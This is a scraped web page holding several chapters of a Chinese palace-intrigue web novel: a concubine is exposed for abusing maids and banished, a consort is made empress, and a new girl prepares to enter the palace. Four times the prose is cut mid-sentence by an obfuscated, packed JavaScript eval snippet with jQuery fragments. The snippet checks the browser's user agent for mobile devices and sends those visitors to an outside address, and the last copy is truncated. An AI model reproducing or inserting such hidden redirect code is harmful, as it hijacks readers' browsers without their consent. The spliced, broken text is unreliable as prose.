高美人冷笑:“杜宝林怕是指嫔妾吧,杜宝林气焰嚣张的时候甩过嫔妾两巴掌,嫔妾自然铭记于心,深恨着杜宝林,但一个月前嫔妾已经让杜宝林在宫道跪了一个时辰,并将她给予嫔妾的如数奉还。杜宝林若现在无端攀扯嫔妾,嫔妾自然不怕查。” 玉贵人低头看着御菜,又抬头看向皇上:“先前嫔妾与杜宝林的恩怨,皇上已经知道了,嫔妾何苦用这样的手法去陷害皇上的嫔妃,嫔妾亦是不怕查。” 梅才人笑了笑:“高姐姐和玉贵人都不怕查,嫔妾又何妨怕查,嫔妾也与杜宝林有过口角,可试问,宫中嫔妃谁没与杜宝林有过龌龊?” “怕是查下来,只有方宝林一个干净人吧。” 方宝林脸色变差,讪讪笑了笑,早知她便不掺和进去了,谁能想到在皇上面前一堆人还这么大怨气扯住杜宝林不放口,失了嫔妃主子应有的体面。 贤妃忽然叹了一口气,将众人的目光引到了她的身上,她看向皇上:“宫中嫔妃对杜宝林颇有怨言,臣妾失察至此,请皇上恕罪。只是,臣妾这里有一则关于杜宝林的事,眼下不知当说不当说。” 杜宝林看向贤妃,自然也看见了贤妃身后低头敛目的沈青,顿时目眦欲裂,呼吸粗重,瞬间猜到了贤妃想要说什么。 可恨贤妃平日装得温婉,如今真面目才暴露出来。 偏偏她现在连制止的能力都没有。 沈青青自然感受到了杜宝林毒辣的视线,身体下意识抖了一下,即便再乐观,面对杜宝林,她还是有阴影的,心中不免对之后的对峙提前焦灼了几分。 萱草的手覆到沈青手背上,观她口型:别怕,有娘娘。 贤妃娘娘打头阵,必是拿捏全了分寸,一击必中,作为她羽翼笼罩下的人,何惧已然落入败势的杜宝林? 沈青闭上眼,默默让自己冷静下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279969|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 往后跟在贤妃身边的日子还长,她必然要面对大场面,不如从今日开始适应下来。 贤妃已然说到:“……臣妾见宫女沈青实在可怜,两只手臂上全是伤痕,这才提前未知会杜宝林便将人调进了景仁宫。” 沈青上前,主动折叠衣袖,将瘦瘦的疤痕遍布的手臂主动暴露在众人眼前。 抽气声从嫔妃的方向响起。 贤妃目露不忍:“可怜沈青才十三岁,还是个小小的人,便遭此大难,臣妾不禁要问杜宝林一声,思过,思的是何之过?若杜宝林不知道,方宝林亦可代为回答。” 方宝林脸上煞白,再蠢她也知道,杜宝林压根本性难移,于是哆嗦着唇辩解:“嫔妾一直呆在住处,对杜宝林为人并不了解。” 纪宸沉静着一双眼:“不了解便可口出妄言?” 他记得这个宫女,在织云殿的时候,他记性一向很好,那日的宫女很大胆,而非现在这般静态瑟缩。 沈青将手臂放下,衣袖随着动作垂到手腕处。 方宝林此时已经吓得跪在了地上。她的长相只称得上周正,细看也许很耐看,但宫中的美人很多,她太不起眼了,她是当时大选时太后挑的,太后喜欢她的品行。 方宝林或许品行不错,但那是大选前方父借她做过的善事替她扬的名,彼时先皇驾崩,一朝天子一朝臣,京中官员约束着家里人不得生事,这才让方父钻了空,造了势,顺利让她得了太后的青眼。 所以方宝林也太渴望回报家里了,不甘心只当一个不起眼的小小宝林。 可她能怎么办呢,她无美貌无恩宠,德妃贤妃颜修仪惠贵嫔谁能看得上她呢,她只有能为杜宝林雪中送炭的机会。 方宝林悔恨地闭上眼,下次她该挑一个好一点潜力股。 沈青不知道方宝林在暗恨杜宝林的暴雷,只听皇上宣布完方宝林罚俸一个月与抄宫规后,众人的视线就又回到了杜宝林、贤妃与沈青身上。 杜宝林干脆跪下:“嫔妾有罪。” 贤妃唇边已经没了笑容:“不如让沈青复述一下杜宝林做了什么,再来谈杜宝林的罪责?臣妾初次听时也为杜宝林的狠辣感到无比震惊,想来她已经不是第一次对宫女下手了,不如皇上传一下杜宝林以前的宫女,询问一番?” 能让素来温婉的贤妃用狠辣来形容,已经昭示了其严重性。 纪宸抬头看向王积贵,王积贵退下,去寻杜宝林以前伺候的宫人。 贤妃将话递给沈青,看了她一眼。 沈青估摸着王积贵不会很快回来,于是从最开始珊瑚手上有伤的时候说起。 殿内,平静的声线将事情的始末叙述的清晰流畅,但若是将目光放在这名宫女身上,从她微颤双手,则能意识到她并非如表现的那么平静。 愈听,杜宝林的神情就越是灰败。 她听到沈青的声音停下,听到皇上问她:“杜氏,你可知残害宫女的罪责在宫规第几条?” 事情已经失控到众人全然忘了是杜宝林要求皇上查是谁破坏了她的舞衣。 但她得罪的人太多了,一个赛一个硬气,贤妃又横插一脚,她所查之事似乎要不了了之了。 杜宝林艰难答道:“宫规第十四条,嫔妃对待宫人,应宽仁示下,勿欺压凌辱残害性命。” 21. 第 21 章 皇帝扳指敲击着桌面,发出两声脆响:“既学得这么好,为何还会发生这样的事?” 杜宝林惶惶地几乎要哭了,她直直望向皇上,眼中带有哀意:“嫔妾知罪。” 面对她这副可怜模样,换了任何一个人,都得有片刻心软,偏她们这位皇帝目光像冰冻住似的,没有如高美人那般冷意,却是无悲无喜,更让人倍感荒凉,如兜头一盆冷水,连愤恨诘问他都做不到。 杜宝林哀哀道:“皇上,嫔妾爱您啊!” 为什么她满腔爱意,却换不来皇上的真正倾心?她以为皇上不爱她时,皇上满宫嫔妃偏偏最宠幸她,她以为皇上爱她时,却轻易因两个她无心害死的宫女而对她降位处罚,终于她重新走到皇上的面前,皇上亦递来披风,可转瞬之间,他又因这小小之事不追责毁她舞衣的罪魁祸首,反而为卑贱的宫女做主。 杜宝林真的想不明白。 “这与你心性扭曲,残害宫人可有关?”纪宸不耐地蹙起眉,心道王积贵为什么还不回来。 杜氏这副模样,倒像是他负她良多。 可杜氏,比起这满殿的妃嫔,她是最幸运的,偏偏手段残酷,无一点修德之心,叫人不由问,杜大人如何教养出这般女儿? 思及是他自己宠了这个披着人皮的恶鬼两年多,就恨不得抹去对方这两年的一切痕迹,叫众人不再提起。 帝心难测,殿内,一部分嫔妃心惊于皇上的凉薄,暗暗告诫自己切不可如杜宝林一般付出真心,另一部分则恨不得拍手叫好,皇上没被此等毒妇迷惑。 杜宝林只是哭,在她看来,不被皇上喜欢,那才是真的天塌了。 纪宸越发感到心烦气躁,但气态愈是沉稳,只是手上的扳指不停在转,仿佛这样才能勉强压下这不爽。 王积贵这时带着曾经伺候过杜宝林的宫人来到殿中。 “回皇上,这六位宫人便是曾经伺候过杜宝林的人,其中,右首一的珊瑚是杜宝林的大宫女,首二的朝露……” 王积贵言明后,皇上静静观望,德妃先开口把杜宝林做过的错事简略说了一遍,然后鼓励珊瑚和朝露揭发杜宝林的所作所为。 说完,德妃笑着看向皇上:“皇上,臣妾没说错吧?” 纪宸略略颔首:“你做得很好。” 德妃笑了笑,目光落到殿中的那几个人身上,压迫感十足。 朝露似是承受不住,率先开口:“主子做婕妤时便常常拿我们这些亲近的宫女出气,不是打就是掐,奴婢不堪忍受离开杜宝林已经几个月了,身上落的痕迹已经好得差不多了,只余些疤痕。但若是去司药司查看,也是能查到奴婢的取药记录。” 朝露离开杜宝林后显然得了贵人赏识。 沈青青听见她说话才抬头看了她一眼,发现朝露的服制已然是正八品的女官,不可同日而语了。 也是,朝露为人活络,在织云殿时与被撵出宫的玳瑁就很交好,她若专心女官事业,必能做出一番成就。 再就是她旁边的冬儿,脸已经好全了,且未留疤,让不明所以的人来看,压根看不出她伤过脸。 朝露停顿了一下,接着道:“杜宝林身边伺候的,除了玳瑁,其余三人皆被伤过,只是当时杜宝林尚且克制,奴婢们取了药得了银钱安抚,便未曾声张。” 朝露说完,冬儿眼神很是迷茫,只道自己没有贴身伺候过主子,不知此事。 其他三个太监,织云殿的前主事公公,与小定子一起外殿伺候的小九儿,以及小定子,一人一言将所发现的说了。 不用珊瑚开口,对杜宝林没丝毫忠心的他们就将事情查漏描补清楚了。 事情已经很明朗了,杜氏杜明漪刚进宫时,尚且在宫人面前装一装体贴,但在摸清宫人的性子后,便本性暴露,加上当时杜明漪受宠,她下手又不严重,事后又给甜枣,言语伤怀自责一番,受伤的宫女自是不能拿这点事去惊动皇上或是德妃贤妃,甚至为了维持宠妃贴身宫女的体面,还得自己遮掩一番。 杜明漪不喜太监,这三人也是从蛛丝马迹中发觉,但既不干自己的事,谁又会多嘴? 如今却大不一样了,杜宝林眼看着要倒台,小九儿眼珠子一转,何不顺从上面妃子的意思,将杜宝林的罪证落实,左右又没冤枉了她。 珊瑚仍旧抿唇不语,甚至面对这几个人的拉踩,眼中酝酿着怒气。 朝露看不惯她这忠心的样,拉过她的手将袖子往上一撸:“德妃娘娘,您看珊瑚手臂上还落着疤,奴婢们说一千道一万倒像是背主,不如一些证据来得爽快。奴婢自问侍奉杜主子尽心尽力,不敢有丝毫埋怨,也从未将这些事说给第二个人,若非今日皇上与娘娘们……,奴婢必将这些事烂在肚子里,亦不会去惹宝林的烦心。” 珊瑚捂住手臂,语言苍白道:“主子是无心之过。” 杜宝林对珊瑚颇为感动,但张了张嘴,什么也没说。 德妃主持大局道:“好了,不必再说。皇上,如今一切明朗,杜宝林这事……” 纪宸冷漠道:“杜氏草芥人命,杀二宫女,且不知悔改,屡次伤残宫人,数罪并罚,移居冷宫,终身监禁。” 杜氏早已心灰意冷,闭上了眼睛,没发疯,坦然接受了这个结果。 【不对,杜明漪杀宫女的事不是早已罚过了吗?】贤妃心中疑惑。 这边德妃又提醒道:“可杜氏舞衣的事还没有个结论,皇上可要再查?” 【难道说……】 “何须再查?她处处树敌,有今日的处境也该早有所料!”纪宸站起身,拂袖离去。 【皇上先前不认为杜氏杀了人,觉得另有隐情,才只是贬位处理。】 钱全忠跟在他身后,王积贵则仍在殿中处理之后事宜。 【若论了解杜氏,皇上应该不差,他觉得杜氏没有那么蠢地弄死人,但直到今天杜氏全部暴露,才发现自己对杜氏也没那么了解,这才生怒到数罪并罚?】 【亦或是厌烦了杜氏,将罚过的东西拎出来再罚一遍也不是不可能。】 【杜氏、杜氏……】 皇帝离开时,贤妃起身行完礼便又沉浸到自己的思绪中,今天实在是太精彩了。不过即便杜氏倒台了,她也不愿小瞧了对方。 沈青听着贤妃的心声,越听越迷糊,贤妃是觉得皇上不认为杜氏主动杀了那两个宫女,只是她这件事迫使皇上认清了杜宝林的真面目,于是不再开恩。 那以贤妃的思路,皇上将杜氏从婕妤贬为宝林是从轻处理了,不然这次她们这些宫人也只是受到了杜宝林的皮肉伤,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279970|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点苦楚能动得了杜宝林的地位?能让皇上将杜宝林直接打入冷宫? 沈青眨了眨眼,忽然想到,杜宝林的心声中,不认为是自己杀了夏蝉和文心,她只是吩咐刘顺给夏蝉和文心找麻烦,夏蝉和文心是残了受磋磨了,杜宝林都会认为刘顺干的好,但这个结果绝不包括致两人死亡。 以杜氏的想法,可能还认为,死了反而是优待,不若活着百般痛苦。 前面的贤妃已经站起来与直奔她而来的德妃笑意盎然言谈起来。 德妃说:“妹妹这般好的样貌,皇上却未看上几眼,真是一点都不怜香惜玉,白白辜负了妹妹的一番殷殷期望。” 贤妃温婉笑道:“皇上待我们姐妹一般无二,姐姐说这话,让个耳聋的宫人听到,还以为姐姐的样貌有瑕,不值得皇上专程青睐呢。” 德妃呵呵一声,笑不露齿。 这场面,离得远了,还以为贤妃德妃亲亲热热,感情颇好。 沈青站在萱草身旁,还沉浸在自己的思绪中。若杜氏没有要杀宫女,是阴差阳错的结果,那是否其中会有旁人的算计呢? 但涉及此事的刘顺被当场带走赐死,玳瑁出宫,杜氏不明其中锋机,事情已然无从查起。 那皇上会知道此事的真相吗? 沈青一方面觉得这是自己的臆想,一方面又忍不住怀疑。 朝露是否在其中扮演着什么,她是玳瑁的心腹,如今却毫不犹豫反水杜氏,还在短时间内成了正八品女官,而非从女史做起。 不过杜氏既被贬入冷宫,沈青终于能如释重负,这结果可太好了。 不必担心杜氏休养生息后再想怎么搞她。 宴席草草散场,一行人再次回到景仁宫。 贤妃乏得很,与德妃笑谈最是耗费心力,比和皇上相处还要让她感到艰难。她面对皇上多是紧张,但面对德妃,就是强烈的危机感。 贤妃身边有三名大宫女,除了萱草另外两个名唤青玉、青古。 青玉和青古都是二十岁左右的宫女,在太子府时便被拨给了贤妃,后又随贤妃进宫。但她们原本便是宫里的宫女,是太子侧妃嫁入太子府需要有能力的人使唤,才从宫内调到太子府,后又回宫。 两人都是能力很强且不生事的人,只看她们对待萱草包容的目光便知道了。 二等宫女包括沈青总共有四名,其余三人分别叫翠微、漆姑、芰荷。芰荷便是今日在景仁宫门口发现踌躇不安的沈青的人。 而三等宫女便有八人之多,且贤妃也认得她们,甚至叫得出名字,在宫里赏景有时候也不忘带上她们。 宫人伺候贤妃沐浴休息。 芰荷拉着沈青往宫人住的地方走:“以后你就和我住一间了,贤妃娘娘说,你刚来,先不必上手干活,将伤全养好了,再上值便是。” 沈青仗着年纪小,扮起可爱毫不生疏,夹着嗓子道谢:“谢谢美人姐姐。” 芰荷笑眯眯问她:“你叫我什么?” “美人?” 芰荷点着她额头:“小小年纪,还是个色迷。” 沈青摸着额头,抿唇笑了笑。只是她仍旧不明白,芰荷是不是小定子的人。 今天太多目光落到她身上,她和小定子为了避嫌,甚至刻意不去看对方。 22. 第 22 章 永寿宫中。 德妃任由石榴帮她卸下发髻:“高美人倒是聪明了一回。” 不难猜出,那个阿蓝原本应该是杜氏的人,结果不知被高美人用什么法子撬走了。 石榴道:“娘娘给了高美人几个月的时间,若这点小事都办不好,也枉为美人之位了。” 德妃照着镜子抚眼尾:“高美人不好用,争不过杜氏,连玉贵人都要越过她了。待明年大选,本宫得好好挑挑,需得照着皇上的喜好,杜氏、玉贵人那般娇美样貌的扶持才好。” “娘娘英明。” - 在景仁宫呆的日子,对于沈青青来说,简直无一处不好。 贤妃手握宫权,又护自己人,她宫中的宫人没有人会怠慢,宫衣送去清洗,不仅送回来得快,上面还带着淡香,宫女份例中的首饰也不会有瑕疵,都是专管此事的女官检查过才会送来,景仁宫宫人月例也不需大宫女专程去取回来,反而是主动送过来。 景仁宫出去的宫女,无论是谁,都会被叫一声姑娘或是姐姐。 至于青玉和青古,众人都叫她们姑姑。 最让沈青青满意的莫过于景仁宫的小厨房,贤妃的膳食除了从御膳房拿,平时喜欢吃什么,都会叫小厨房准备。因此每日都会有米面菜肉往小厨房送,有些菜肉储藏不当一日便会坏,贤妃当日用不完,为了避免浪费,厨娘就会额外开小灶,给景仁宫的宫人加餐。 这也是得了贤妃的首肯,是贤妃对景仁宫宫人的恩典。 沈青青不必再因为长身体不经饿时去膳房用银子买菜,从而一个月下来明明宫内包吃包住还攒不下一个子儿了。 她在景仁宫养伤,不好出去活动,然而芰荷一次回来却给她带了一瓶金创玉髓膏——瓶身上清清楚楚写了一竖列五个字,并冲她眨了眨眼。 这可是皇上、乾清宫才有的圣药。 这下她就确定了,芰荷确实跟小定子有联系,她大概率是王积贵的人。 芰荷早知沈青是自己人,说明她在王积贵一派的级别大概比沈青略高,也应是受了小定子的要求,对她多有照拂。 事到如今,沈青所纠结的她到底是否要为王积贵一派干活已经没什么意义了。 明面上,她是贤妃的人,私底下,她与王积贵一派有联系,其实暗地里,她还拿了惠贵嫔身边翠环递来的橄榄枝。 理不清了,完全理不清了。 芰荷的主动暴露,沈青惊喜过后,便与她更为亲昵了,她问芰荷:“姐姐,你知道杜氏以前的宫女朝露,现如今是哪一局的女官吗?当日我看朝露的服制,已经是正八品的女官的了。” 芰荷问:“为什么要问这个?” 沈青叹了口气:“杜氏还是婕妤时,她身边有一位从家里带来的宫女玳瑁,此人与杜氏谋害宫女的事有关,当晚受过罚后便被逐出了宫。朝露是玳瑁手底下的宫女,我总觉得她好似有点不太对劲。” 她不期然想起朝露离开杜宝林那天的情景,朝露是那样的自信淡然,仿佛一眼看透了杜宝林的未来,走的没有丝毫犹豫。 当然,除了珊瑚,听说杜宝林去冷宫时珊瑚毅然跟了过去。谁离开杜宝林都不会犹豫。 “希望是我多想了。”这要她怎么说她怀疑朝露在夏蝉和文心的死上推波助澜,怀疑刘顺本就没遵从杜氏的命令直接将人搞死了,怀疑朝露和刘顺背后可能是同一个主子。 刘顺在织云殿时,可是极为不受杜氏待见,那杜氏缘何要刘顺干这事,明明还有一个更适合的当时织云殿主事公公,想来必是有人为刘顺引荐,那人只能是参与此事的玳瑁。 若朝露能鼓动玳瑁,这就是一个很完美的计划。 任凭杜氏怎么辩解都不会让人相信她没想那么干。 再又出了杜氏伤宫女的事,更坐实了她心思恶毒,弄死两个宫女想来也是她能干出来的。 芰荷不解,但还是应下:“我帮你问一问,青玉青古两位姑姑应当知晓。” 六局中属于贤妃管理的三局事务,青玉青古都会经手,问她们再快不过了。 芰荷伸出手,按了按沈青的眉头:“小姑娘的心思不要这么重,不然该长不好看了。” 沈青呆滞抬头,看到芰荷轻松的模样,不由大悟,芰荷知道的阴私经手的事宜不比她少,但却丝毫不被这些事困扰,活得通透自在。 若她再陷入这些事里,没得先把自己累死,何不在此之前先当个快快乐乐的小宫女? 沈青机灵地冲芰荷笑了笑,拉着她的手臂摇了摇。 “芰荷姐姐,我们午膳吃什么?小厨房会加餐吗?” 芰荷失笑,说午膳与昨日应该大差不差,说厨娘今早恰好做多了糕点,每人应能分到两块。 沈青闻言,幸福地都快晕了。 两块,这是特意做多的吧。 呜呜,贤妃好,厨娘好,芰荷也好,反正没有什么不好的。 芰荷下午的时候便问清了朝露如今是尚宫局司薄司正八品掌薄,因尚宫局是贤妃娘娘的职责范围,沈青定然不相信朝露是贤妃的人,不然贤妃何必去猜疑,于是转身将朝露的事挑挑拣拣告诉了萱草。 萱草虽迟钝,但跟在贤妃身边久了,也锻炼出来一些,且她谨慎,不放过一点可疑之处,当下便派人去查。 然后发现朝露与司薄司中一位正七品的典薄有联系。 想到贤妃在查司薄司的内鬼,萱草便将此事报了上去。 于是在某一天,正在悠闲研究胭脂水粉的沈青忽然收到了二十两的赏赐。 因为伤未好全,她最近非常堕落,美得不知今夕何夕了,连贤妃身边都没凑近,更遑论听心声了。 且心声太私密,不是自己当值时,她不会刻意去听,去窥探贤妃的心思。 沈青捧着用荷包装的赏银,问萱草:“萱草姐姐,娘娘为什么要赏赐我?妆粉还没研究出来呢?” 萱草开心到眉飞色舞道:“沈青,你立大功了!” “多亏了你提供的消息,不然娘娘还在头疼司薄司哪里出了问题……你或许听不懂,不过没关系,娘娘那里为你记了一功,如果之后多出一名大宫女的名额,很可能就提拔你了。” 沈青觉得作为新人,升职太快会遭人记恨,于是一边随萱草开心,一边谦逊道:“我年纪还小,领不住事,翠微漆姑芰荷三位姐姐才更合适。” 萱草听明白后很快撇开此事:“大宫女的名额什么时候有还不知道呢,不操心这个了。不如你与姐姐说说,中午想吃什么,姐姐专门让小厨房为你做几盘菜。” 这次沈青打心底开心,脆生生道:“红烧肘子!” 萱草拍着胸脯表示:“没问题。”包在她身上了。 萱草的快乐很简单,娘娘高兴她便高兴。沈青的快乐也很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279971|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简单,有钱有肉即可。 沈青在景仁宫大门不出二门不迈,养伤和给自己找点事做,如此两个月,皇上来了景仁宫有八次,其中一半都实打实叫了水,景仁宫上下一片喜气洋洋。 不为超越了谁,而是永寿宫德妃那里皇上两个月才去了六次。 萱草终于扬眉吐气,跟沈青吐槽德妃身边的石榴如何如何,但吐槽德妃她是没这个胆的,而她说身为德妃大宫女石榴的也不过是些微末小事。 沈青听得好笑。 不过紧接着的一件大事,打了后宫众人一个措手不及。 皇上下旨封贤妃萧裳月为皇后,命制作册宝,择吉日举办封后大典。 钦天监给出了十月初八、十月甘一和十一月初七三个吉日,最终由皇上选定了十月初八这天。 不提其他嫔妃收到消息多么震惊,万众瞩目的景仁宫接到圣旨后亦是喜忧参半。 喜,娘娘封后,她们一步登天,成了皇后宫女,这是何等幸运荣耀。 忧则是,现在距离封后大典只有不足一个月,时间紧迫,不知道一应礼仪是否会因此敷衍了事。 不过好在,皇上派了钱全忠来协助娘娘。 而沈青,巨大的惊喜过后,便明白小定子为什么要让她来贤妃这里,莫不是王积贵早明白了圣意,算到了这一切。 小定子那时也说过,等宫内大调动时他就离开思过斋。 现在杜氏早早倒台,小定子应是未提前到御前——因为她没在皇上来景仁宫带的人中发现他,收到他的消息中也没有言明他到御前这事。这次封后大概是他调到御前的最佳时机,趁着宫中乱糟糟一片。 因封后,平静已久的后宫终于要动荡起来了。 外面热热闹闹,其他嫔妃都去向贤妃提前道贺,唯独永寿宫一片死寂。 德妃端坐在铜镜前,眼神不断变化,最终将双手覆到眼上,不再去看。 她的声音轻飘飘的:“本宫以为,皇上是中意我的。” 在这之前,确实如此,可为什么结果却出乎了她的意料。 虽明知后位人选要么是她要么是贤妃,要么是朝中重臣之女,但她仍想感叹,为什么萧裳月的命会那么好。 她李舒意又哪里不如她了? 室内,只留了石榴一人,石榴担忧道:“娘娘……”却不知从何劝起。 “莫不是皇上知道了杜氏是遭了咱的算计?才——” 德妃咬牙否认:“不可能!” 石榴压低声音:“刘顺没有在织云殿就畏罪自杀,而是被钱全忠的徒弟钱继带走赐死,若在这之间,钱继嗅到不对,继而拷打了刘顺,在那种情况下没有十足的把握证明刘顺不会吐露了有人在背后指使他。” 德妃揉了揉眉心:“这只是你的猜测。” “娘娘,钱全忠历经两朝,他的徒弟必然也是个狗鼻子,他们效忠于皇上。偏皇上不需要确凿的证据,只需要起疑心,局势就会对娘娘万般不利,我们不得不做最坏的打算。” 德妃终是接受了石榴的说法,叹了口气,睁开眼,眼神趋于平静。 “若你的猜测为真,便让我们的人先蛰伏下来,我不信,当皇后会一直顺遂。” 未来还长远着呢。 石榴明白德妃要做什么,忠心道:“是。” 她是李家为德妃精心培养的亲信,只需全力辅佐德妃。 23. 第 23 章 贤妃的封后大典举办得很隆重,有钱全忠在一旁统筹全局,青玉青古很快上手了相关事宜,就连萱草都变得稳重起来。 沈青跟着萱草帮忙,待遇一升再升,后宫的宫人见了她,一个赛一个尊敬。 封后是朝堂和后宫一等一重要和热闹的事,整个京城都因此气氛热烈情绪高涨起来,一扫先帝驾崩三年内的肃穆。 经此一事,京城官员家的适龄子女开始相看定亲或完成嫁娶,一是先帝孝期内不允许当官有功名者嫁娶,违者夺官褫爵,这一耽搁,就耽搁了三年,有些男子女子的年龄都拖大了,需要尽快完婚,二是明年是三年一大选的日子,官员家中适龄女子需要经由层层选拔成为秀女,入宫选妃,但若在大选之前定下婚约,便不必成为秀女进入皇宫。 对于这件事,素来都是这么操作的,皇家也睁一只眼闭一只眼,毕竟不愿意进宫的强纳进来,兴许会有顶着九族也要伤害皇上的人。 不如各退一步,两家欢喜。 陆府。 陆家长女陆云湄带着婢女星罗穿过抄手游廊,去向陆家主母请安。 “母亲是在忧心女儿的婚事?”陆云湄睁着眼睛看向陆家主母林夫人林婉,明明什么都没做,但陆云湄的那双眼睛像个钩子一样,勾得人心神荡漾,她本人更是一身雪肌媚态横生。 陆云湄是陆家庶长女,她的亲生娘亲扬州瘦马出身,被人转手送给了陆父做妾,人人叫她云姨娘,那一年,陆家老爷一直流连在云姨娘身边,亲娶的妻子林婉颇受冷淡。 然而好景不长,云姨娘产女时难产身亡,只留下了一女,便是陆云湄。 彼时林婉膝下无子,整个陆家都只有陆云湄这一个孩子,林婉便将陆云湄抱在自己膝下抚养,虽未成为嫡女,但待遇和嫡出的一般无二。 林婉虽不喜云姨娘,但对小孩没什么恶感,得了女儿也只像其他人家一般用心教养,然而陆云湄越长,她的容貌就越掩盖不住,比之云姨娘那时更为出色。明珠掩盖不住,即便林婉常常将陆云湄拘在家中,但京中关于她容貌颜色还是流传颇广。 临近大选,陆父有心让长女进宫为家族谋一份长久富贵,林婉觉得不行,仍是照常为陆云湄相看人家。 以陆云湄的姿容,她只能高嫁,但选来选去,林婉看上的几家要么家里有个强势的婆母,要么家中儿郎不顶用,要么长嫂是个不好惹的,要么家里的小叔子是京中有名的纨绔。 总之,没个顺心的,这几日,林婉都吩咐身边的婆子熬药来喝了。 面对从小看到大的陆云湄,林夫人即便身为女子,也不可避免恍惚了一瞬:“是有这事,但婚事还需你自己挑一挑,这几家……” 林夫人还未说完,陆云湄便道明来意:“母亲,女儿愿进宫参加选秀。” 林夫人皱眉:“可是你父亲和你说了什么?不必管他。” 陆父是个不中用的,年轻时还看着有点前途,然而年龄越大,越在一个从六品的官位上蹉跎,与他同一年参加殿试的人有的都已成三品大员。 陆云湄微微一笑:“不全是为了父亲,女儿更想成为阿弟的助力。再者,成了皇帝嫔妃,便无人敢轻嘴薄舌于我,嫁人当嫁天底下最尊贵的人,女儿想进宫看看。” 陆云湄的弟弟是林婉唯一的孩子,今年十二岁,也是个俊俏的少年郎。陆父在云姨娘走后悲痛之下染了酗酒的毛病,后来一朝大梦初醒,才察觉这三年来自己愧对了妻女,与林婉重归于好后,林婉于次年产下一子,名为陆云圭。 陆父从小是神童,后来酗酒后才情没了大半,陆云圭没继承到父亲的神童之名,只是小有聪慧,仕途恐怕更为渺茫,但有个宠妃姐姐,却是大不一样了。 林夫人听到陆云湄提起陆云圭,心中瞬间不坚定起来,她不在意陆父,但陆云圭却是她唯一的指望。 “后宫人心难测,你如何挨得过其他嫔妃的针对?”陆云湄她从小养大,顺利进宫是没问题的,若有问题,只能是宫里的人不愿多一个劲敌,那也没什么好说的了。 陆云湄:“所以我才来寻母亲,听说我小娘留下了一个仆人,女儿想见一见,像她学一些东西。女儿觉得,在宫中,有皇上的宠爱加自身的谨慎,一切阴谋诡计便可迎刃而解。” 林夫人看着陆云湄慢慢羞红了的脸,便知她有了自己的主见,终是点了点头。 当年她嫌弃云姨娘的手段下三滥,便一直不让陆云湄见云姨娘倚重的婆子,但陆家小,陆云湄对那个婆子的存在也是知情的。 陆云湄拉住林婉的胳膊,缓缓将头枕在了林婉的肩头:“女儿知道母亲为我好,可女儿也想为母亲做些什么。” 林夫人叹了口气,冥冥之中,陆云湄走上了她小娘的老路,但天家嫔妃,总归是有些不同的吧,她只愿陆云湄此入宫门,一切顺遂。 她扶起陆云湄:“既然你要入宫,陆家便该举家托举。我们家在宫中也是有一点人脉的,且宫里的惠贵嫔是我娘家族妹,她无宠在身,但好歹是一宫之主,想来会因这些亲缘帮衬你一二的……” 窗外大雪纷纷扬扬,皇宫里的宫墙深院也换了一套银装素裹的装扮。 坤宁宫内。 萱草在廊下望着雪景,重重打了个喷嚏。 沈青一身厚宫衣,正组织小宫女给扫雪的宫人熬姜汤,见状亲自为萱草端了一碗过来:“姐姐,快些趁热喝了,不然又该染风寒了。” 也是因为下雪,萱草寒风入体,就生了病,皇后娘娘特意为萱草多添了炭,让她养好病再来近身伺候。 彼时贤妃刚成皇后没多久,萱草太高兴,便在今年的第一场雪时带着小宫女去玩雪,便乐极生悲了。 现在萱草刚好没几天,望着雪,像是又蠢蠢欲动故态复萌了。 沈青脸上生出无奈,盯着萱草将姜汤喝得一干二净。 萱草苦着脸,向她展示:“瞧,全喝完了。有什么奖励?” 沈青闻言想去拿蜜饯甜萱草的嘴,谁知道萱草凑过来,啵一声,嘴唇印在了她脸颊上。 嘴里还说着:“越长越好看了,让姐姐香一口。” 沈青目瞪口呆,连看了萱草好几眼,确定她是真直女,一副被可爱到的模样这才擦了擦脸颊。 在皇后身边,她吃得好,穿得好,人也倍儿精神的缘故,她整个人粉里透红,脸颊带着婴儿肥的圆润,乌曈水润,眉毛不画而黑,就连头发都浓密黑亮,用青丝如瀑雾鬓云鬟来形容再恰当不过了。 沈青头戴自己制作的毛球发饰,垂落在发髻一侧,不但不显得幼稚,反而很是灵动可爱,很衬雪景。 因为这,她遭了几位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 